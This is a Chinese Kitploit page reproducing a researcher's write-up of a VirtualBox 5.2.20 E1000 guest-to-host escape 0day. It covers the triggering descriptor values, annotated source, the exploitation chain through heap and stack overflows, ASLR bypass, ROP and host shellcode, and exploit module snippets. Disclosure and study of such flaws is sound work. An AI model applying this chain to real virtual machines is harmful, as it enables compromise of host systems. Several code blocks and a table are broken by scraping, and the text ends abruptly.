Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
virtualbox_e1000_0day — VirtualBox E1000 Guest-to-Host Escape | Kitploit
工具/GitHubGitHub/mortenoir1/virtualbox_e1000_0day
Vulnerability AnalysisExploitationPenetration TestingHardware SecurityBinary Exploitation
GitHubmortenoir1/virtualbox_e1000_0day

virtualbox_e1000_0day

VirtualBox E1000 Guest-to-Host Escape

查看仓库
1.4k1967年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

为什么

我喜欢 VirtualBox,但这与我发布一个 0day 漏洞无关。原因在于我对当今信息安全领域,尤其是安全研究和漏洞赏金现状的不认同:

  1. 等待半年直到漏洞被修补被认为是正常的。
  2. 在漏洞赏金领域,以下情况被认为是正常的:
    1. 提交漏洞后,等待一个多月才被验证并决定是否收购。
    2. 临时改变决定。你发现某个漏洞赏金计划会收购某个软件的漏洞,一周后你带着漏洞和利用代码出现,却收到“不感兴趣”。
    3. 没有精确列出漏洞赏金计划感兴趣的软件清单。这对漏洞赏金计划方便,对研究者却很尴尬。
    4. 没有精确的漏洞价格上下限。虽然很多因素影响价格,但研究者需要知道哪些值得投入,哪些不值得。
  3. 妄想症和营销废话:为漏洞命名并创建网站;一年参加上千场会议;夸大自己作为安全研究员工作的重要性;自认为是“救世主”。放下身段吧,陛下。

我对前两点感到厌倦,因此我的行动是完全公开。信息安全,请向前迈进。

一般信息

受影响软件: VirtualBox 5.2.20 及更早版本。

宿主机操作系统: 任意(漏洞存在于共享代码库中)。

客户机操作系统: 任意。

虚拟机配置: 默认(唯一要求是网络适配器为 Intel PRO/1000 MT Desktop (82540EM),且模式为 NAT)。

如何保护自己

在修补后的 VirtualBox 版本发布之前,你可以将虚拟机的网络适配器改为 PCnet(两种之一)或 Paravirtualized Network。如果无法更改,则将模式从 NAT 改为其他。前一种方式更安全。

介绍

VirtualBox 默认的虚拟网络设备是 Intel PRO/1000 MT Desktop (82540EM),默认网络模式是 NAT。我们将其称为 E1000。

E1000 存在一个漏洞,允许客户机中具有 root/管理员权限的攻击者逃逸到宿主机的 ring3。然后,攻击者可以利用现有技术通过 /dev/vboxdrv 将权限提升至 ring 0。

漏洞详情

E1000 101

为了发送网络包,客户机的操作与普通 PC 相同:配置网络适配器并将网络包提供给它。这些包包括数据链路层帧以及更高级的头。提供给适配器的包被封装在 Tx 描述符(Tx 表示发送)中。Tx 描述符是一种数据结构,在 82540EM 数据手册(317453006EN.PDF,修订版 4.0)中有描述。它存储诸如包大小、VLAN 标签、TCP/IP 分段启用标志等元信息。

82540EM 数据手册提供了三种 Tx 描述符类型:遗留、上下文、数据。我认为遗留类型已被弃用。另外两种一起使用。我们关心的只是上下文描述符设置最大包大小并启用 TCP/IP 分段,而数据描述符保存网络包的物理地址及其大小。数据描述符的包大小必须小于上下文描述符的最大包大小。通常,上下文描述符在数据描述符之前提供给网络适配器。

为了向网络适配器提供 Tx 描述符,客户机将它们写入 Tx 环。这是一个位于物理内存预定义地址的环形缓冲区。当所有描述符都写入 Tx 环后,客户机更新 E1000 的 MMIO TDT 寄存器(发送描述符尾部),以告知主机有新描述符需要处理。

输入

考虑以下 Tx 描述符数组:``` [context_1, data_2, data_3, context_4, data_5]

root@kitploit:~
让我们如下分配其结构字段(字段名是假设的,便于人类阅读,但直接映射到82540EM规范):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

我们将在逐步分析中了解它们为何应该如此。

根本原因分析

[context_1, data_2, data_3] 处理

假设上述描述符按指定顺序写入 Tx Ring,并且 TDT 寄存器由客户机更新。现在,主机将在 src/VBox/Devices/Network/DevE1000.cpp 文件中执行 e1kXmitPending 函数(为便于阅读,大部分注释已被且将继续被移除):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
e1kTxDLazyLoad 将从 Tx Ring 读取所有 5 个 Tx 描述符。然后第一次调用 e1kLocateTxPacket。该函数遍历所有描述符以设置初始状态,但并未实际处理它们。在我们的例子中,第一次调用 e1kLocateTxPacket 将处理 context_1、data_2 和 data_3 描述符。剩下的两个描述符,context_4 和 data_5,将在 while 循环的第二次迭代中处理(我们将在下一节讨论第二次迭代)。这种两部分数组划分对于触发漏洞至关重要,因此我们来分析原因。

e1kLocateTxPacket 看起来像这样:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

第一个描述符(context_1)的类型为 E1K_DTYP_CONTEXT,因此调用了 e1kUpdateTxContext 函数。如果该描述符启用了 TCP 分段,则此函数会更新 TCP 分段上下文。对于 context_1 而言确实如此,因此 TCP 分段上下文将被更新。(TCP 分段上下文更新的具体内容并不重要,我们仅用它来指代下方代码。)

第二个描述符(data_2)的类型为 E1K_DTYP_DATA,因此会执行一些与当前讨论无关的操作。

第三个描述符(data_3)同样为 E1K_DTYP_DATA 类型,但由于 data_3.data_length == 0,不执行任何操作。

此时三个描述符已初步处理完毕,剩余两个。接下来关键点在于:switch 语句之后会检查描述符的 end_of_packet 字段是否已设置。对于 data_3 描述符来说,该条件为真(data_3.end_of_packet == true)。代码执行一些操作后从函数返回:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }

root@kitploit:~
如果 data_3.end_of_packet 为假,那么剩余的 context_4 和 data_5 描述符将被处理,漏洞就会被绕过。下面你将看到为什么该函数的返回导致了该错误。

在 e1kLocateTxPacket 函数的末尾,我们有以下描述符准备好解开网络数据包并发送到网络:context_1, data_2, data_3。然后 e1kXmitPending 的内部循环调用 e1kXmitPacket。这个函数遍历所有描述符(本例中为5个)以实际处理它们:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

对于每个描述符,都会调用 e1kXmitDesc 函数:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...

root@kitploit:~
传递给 e1kXmitDesc 的第一个描述符是 context_1。该函数不对上下文描述符执行任何操作。

传递给 e1kXmitDesc 的第二个描述符是 data\_2。由于我们所有数据描述符的 tcp\_segmentation\_enable 都为 true(上述 pDesc->data.cmd.fTSE),因此我们调用 e1kFallbackAddToFrame,在处理 data\_5 时会发生整数下溢。```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

这里最重要的变量是 u16MaxPktLen、pThis->u16TxPktLen 和 pDesc->data.cmd.u20DTALEN。

我们绘制一个表格,指定在执行 e1kFallbackAddToFrame 函数前后,这两个数据描述符的这些变量值。

你只需要注意,当处理 data_3 时,pThis->u16TxPktLen 等于 0x10。

接下来是最重要的部分。请再查看一下 e1kXmitPacket 代码片段的结尾:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;

root@kitploit:~
由于 data_3 的类型 != E1K_DTYP_CONTEXT 且 data_3.end_of_packet == true,我们跳出循环,尽管还有 context_4 和 data_5 需要处理。为什么这很重要?理解该漏洞的关键在于理解所有上下文描述符都在数据描述符之前处理。上下文描述符在 e1kLocateTxPacket 中的 TCP 分段上下文更新期间处理。数据描述符稍后在 e1kXmitPacket 函数内部的循环中处理。开发者的意图是禁止在处理某些数据后更改 u16MaxPktLen,以防止代码中的整数下溢:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

但我们能绕过这个保护:回想一下,在 e1kLocateTxPacket 中,我们强制函数返回,因为 data_3.end_of_packet == true。因此,尽管 pThis->u16TxPktLen 是 0x10 而不是 0,我们仍然有两个描述符 (context_4 和 data_5) 待处理。因此,有可能使用 context_4.maximum_segment_size 改变 u16MaxPktLen 以造成整数下溢。

[context_4, data_5] 处理

现在,当处理完前三个描述符后,我们再次进入 e1kXmitPending 的内层循环:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }

root@kitploit:~
这里我们调用 e1kLocateTxPacket 来对 context_4 和 data_5 描述符进行初步处理。之前提到,我们可以将 context_4.maximum_segment_size 设置为小于已读取数据大小,即小于 0x10。回想一下我们输入的 Tx 描述符:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

由于调用了 e1kLocateTxPacket,最大分段大小等于 0xF,而已读取的数据大小为 0x10。

最后,在处理 data_5 时,我们再次进入 e1kFallbackAddToFrame,并得到以下变量值:

Tx Descriptor之前/之后u16MaxPktLenpThis->u16TxPktLenpDesc->data.cmd.u20DTALEN

因此,我们遇到了整数下溢:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

root@kitploit:~
这使得以下检查成立,因为 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

e1kFallbackAddSegment 函数将以大小为 0x4188 被调用。在没有漏洞的情况下,不可能以大于 0x3FA0(E1K_MAX_TX_PKT_SIZE == 0x3FA0)的大小调用 e1kFallbackAddSegment,因为在 e1kUpdateTxContext 中的 TCP 分段上下文更新期间,有一个检查要求最大分段大小小于或等于 0x3FA0:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }

root@kitploit:~
### 缓冲区溢出
我们已使用大小 0x4188 调用了 e1kFallbackAddSegment。这如何被利用?我发现了至少两种可能性。首先,数据将从 guest 读取到堆缓冲区:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

这里,pThis->aTxPacketFallback 是大小为 0x3FA0 的缓冲区,而 u16Len 为 0x4188 —— 这是一个明显的溢出,可能导致例如函数指针覆写。

其次,如果我们深入挖掘,会发现 e1kFallbackAddSegment 调用 e1kTransmitFrame,后者在 E1000 寄存器的特定配置下,可以调用 e1kHandleRxPacket 函数。该函数分配一个大小为 0x4000 的栈缓冲区,然后将指定长度(本例中为 0x4188)的数据复制到缓冲区,而不进行任何检查:```c static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status) { #if defined(IN_RING3) uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE]; ... if (status.fVP) { ... } else memcpy(rxPacket, pvBuf, cb);

root@kitploit:~
如您所见,我们将整数下溢转变为了经典的栈缓冲区溢出。上述两种溢出——堆溢出和栈溢出——都在该漏洞利用程序中使用。

## 漏洞利用
该漏洞利用程序是一个Linux内核模块(LKM),加载到客户操作系统中。Windows情况需要不同的驱动程序,仅初始化包装器和内核API调用与LKM不同。

在两个操作系统中加载驱动程序都需要提升权限。这很常见,并不被认为是不可逾越的障碍。看看Pwn2Own竞赛,研究人员使用漏洞利用链:在客户操作系统中打开恶意网站的浏览器被利用,浏览器沙箱逃逸以获得完整的ring 3访问权限,操作系统漏洞被利用以开辟通往ring 0的道路,从那里你可以从客户操作系统中攻击管理程序所需的一切。
最强大的管理程序漏洞无疑是那些可以从客户ring 3利用的漏洞。VirtualBox中也有这样的代码,无需客户root权限即可访问,而且大多数尚未审计。

该漏洞利用程序是100%可靠的。这意味着它要么始终有效,要么永远无效,原因可能是二进制文件不匹配或其他我没有考虑的更微妙的原因。它至少适用于默认配置下的Ubuntu 16.04和18.04 x86_64客户机。

### 利用算法
1) 攻击者卸载Linux客户机中默认加载的e1000.ko,并加载漏洞利用程序的LKM。
2) LKM根据数据手册初始化E1000。仅初始化发送部分,因为不需要接收部分。
3) 步骤1:信息泄露。
    1) LKM禁用E1000环回模式,使栈缓冲区溢出代码不可达。
    2) LKM利用整数下溢漏洞制造堆缓冲区溢出。
    3) 堆缓冲区溢出允许使用E1000 EEPROM在相对于堆缓冲区128 KB范围内写入任意两个字节。因此攻击者获得了写入原语。
    4) LKM使用写入原语8次,将字节写入堆上的ACPI(高级配置与电源接口)数据结构。字节写入一个堆缓冲区的索引变量,随后将从中读取单个字节。由于缓冲区大小小于最大索引数(255),攻击者可以读取缓冲区之外的内容,因此获得了读取原语。
    5) LKM使用读取原语8次访问ACPI,从堆中获取8个字节。这些字节是VBoxDD.so共享库的指针。
    6) LKM从指针中减去RVA以获取VBoxDD.so映像基址。
4) 步骤2:栈缓冲区溢出。
    1) LKM启用E1000环回模式,使栈缓冲区溢出代码可达。
    2) LKM利用整数下溢漏洞制造堆缓冲区溢出和栈缓冲区溢出。保存的返回地址(RIP/EIP)被覆盖。攻击者获得控制权。
    3) ROP链被执行以执行shellcode加载器。
5) 步骤3:Shellcode。
    1) Shellcode加载器从堆栈中复制紧邻自身的shellcode。Shellcode被执行。
    2) Shellcode执行fork和execve系统调用,以在主机端生成任意进程。
    3) 父进程执行进程继续。
6) 攻击者卸载LKM并重新加载e1000.ko,以允许客户机使用网络。

### 初始化
LKM映射与E1000 MMIO相关的物理内存。物理地址和大小由管理程序预定义。```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

然后配置E1000通用寄存器,分配Tx Ring内存,配置发送寄存器。```c void e1000_init(void* mmio) { // Configure general purpose registers

root@kitploit:~
configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

}

root@kitploit:~
### ASLR 绕过
#### 写入原语
在漏洞利用开发之初,我就决定不使用默认禁用服务中的原语。这意味着首先排除 Chromium 服务(非浏览器),该服务提供 3D 加速,而去年研究人员在该服务中发现了超过 40 个漏洞。

问题在于如何在 VirtualBox 默认子系统中找到信息泄露。显而易见的想法是,如果整数下溢允许堆缓冲区溢出,那么我们就可以控制缓冲区之后的任何内容。我们将看到,不需要任何额外的漏洞:整数下溢似乎足够强大,可以从中衍生出读取、写入和信息泄露原语,更不用说栈缓冲区溢出了。

让我们检查堆上究竟溢出了什么。```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

这里,aTxPacketFallback 是一个大小为 0x3FA0 的缓冲区,它将被从数据描述符复制的字节溢出。在搜索缓冲区后面有趣的字段时,我找到了 E1kEEPROM 结构体,它包含了另一个结构体,具有以下字段 (src/VBox/Devices/Network/DevE1000.cpp):```c /**

  • 93C46-compatible EEPROM device emulation. */ struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
root@kitploit:~
我们如何滥用它们?E1000 实现了 EEPROM(电可擦可编程只读存储器),即辅助适配器内存。客户机操作系统可以通过 E1000 MMIO 寄存器访问它。EEPROM 被实现为一个具有多个状态的有限自动机,并执行四种操作。我们只对“写入内存”感兴趣。其实现如下(src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

这里,m_u16Addr、m_u16Word 和 m_fWriteEnabled 是我们控制的 EEPROM93C46 结构体的字段。我们可以以一种方式使它们变形,使得```c m_au16Data[u32Addr] = u16Value;

root@kitploit:~
#### 读取原语

下一个问题是在堆上寻找数据结构以写入任意数据,主要目标是泄漏共享库指针以获取其镜像基址。幸运的是,无需进行不稳定的堆喷射,因为虚拟设备的主要数据结构似乎是从内部虚拟机监控程序堆中分配的,且它们之间的距离始终保持恒定,尽管其虚拟地址当然会因 ASLR 而随机化。

当启动虚拟机时,PDM(可插拔设备与驱动管理器)子系统会在虚拟机监控程序堆中分配 PDMDEVINS 对象。```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

我用脚本在GDB下跟踪了那段代码,并得到了这些结果:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

root@kitploit:~
注意位于 #0xE 位置的 E1000 设备。在第二个列表中可以看到,下一个设备位于 E1000 的 0x5700 偏移处,再下一个位于 0x19E0 处,以此类推。我们已经说过,这些距离总是相同的,这就是我们的利用机会。

E1000 之后的设备是 ICH IC'97、OHCI、ACPI、VirtualBox GIM。通过学习它们的数据结构,我找到了使用写入原语的方法。

在虚拟机启动时,ACPI 设备被创建(src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

ACPI端口输入/输出处理程序已注册,覆盖范围0x4100-0x410F。对于端口0x4107,我们有:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...

root@kitploit:~
当客户操作系统执行INB(0x4107)指令从端口读取一个字节时,处理程序从au8SMBusBlkDat[32]数组中取出一个字节,索引为u8SMBusBlkIdx,并返回给客户机。这就是如何应用写原语:由于虚拟设备堆块之间的距离是恒定的,因此从EEPROM93C46.m_au16Data数组到ACPIState.u8SMBusBlkIdx的距离也是恒定的。通过向ACPIState.u8SMBusBlkIdx写入两个字节,我们可以从ACPIState.au8SMBusBlkDat中读取任意数据,范围在255字节内。

存在一个障碍。查看ACPIState结构体可以发现,数组位于结构体的末尾。其余字段对于泄露没有用处。那么,我们来看看在结构体之后可以找到什么:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

似乎有一个指向字符串的指针,该指针位于VBoxDD.so镜像基址的固定偏移处。该指针位于ACPIState末尾偏移0x58处。我们可以利用原语逐字节读取该指针,最终获得VBoxDD.so镜像基址。我们只希望ACPIState结构之后的数据在每次虚拟机启动时不是随机的。幸运的是,并非如此;偏移0x58处的指针始终存在。

信息泄露

